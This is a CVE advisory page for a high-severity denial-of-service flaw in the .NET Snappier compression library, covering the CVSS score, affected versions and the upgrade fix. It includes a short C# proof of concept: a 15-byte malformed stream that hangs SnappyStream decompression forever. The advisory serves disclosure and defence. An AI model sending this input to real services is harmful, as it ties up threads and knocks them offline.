Loading...
Skip to main content

CVE-2026-44302 — Vulnerability in Snappier — CVE Details

HIGH

Snappier has an infinite loop during SnappyStream decompression with malformed framed input

Published May 6, 2026Updated May 13, 2026Source: osv

Summary

### Summary `Snappier.SnappyStream` enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. ### Details The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further. ### PoC ```csharp using System.IO.Compression; using Snappier; byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 }; using var src = new MemoryStream(data); using var snap = new SnappyStream(src, CompressionMode.Decompress); using var dst = new MemoryStream(); snap.CopyTo(dst); // never returns ``` ### Impact A caller using `SnappyStream` on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. `try/catch` around the stream operation can't recover (no exception is thrown).

Advisory Timeline

  • First published May 6, 2026 (159 days ago).
  • Last revised May 13, 2026 — 7 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

NuGet
Update Snappier to 1.3.1 or later
dotnet add package Snappier --version 1.3.1

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: nuget (1).

PackageEcosystemAffectedFixed In
Snappier
nuget
1.0.0, 1.0.0-beta001, 1.0.0-beta002, 1.1.0 (+9 more)1.3.1

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Frequently Asked Questions

What is CVE-2026-44302?
Snappier has an infinite loop during SnappyStream decompression with malformed framed input This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
How do I check if my project is affected by CVE-2026-44302?
CVE-2026-44302 affects Snappier. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-44302 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.5

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-pggp-6c3x-2xmx

Related CVEs

  • CVE-2023-28638
    HIGH

    Snappier vulnerable to buffer overrun due to improper restriction of operations within the bounds of a memory buffer

  • CVE-2026-106112
    HIGH

    ImageSharp: ICC LUT16 output channel count can write beyond Vector4

  • CVE-2026-106115
    HIGH

    ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies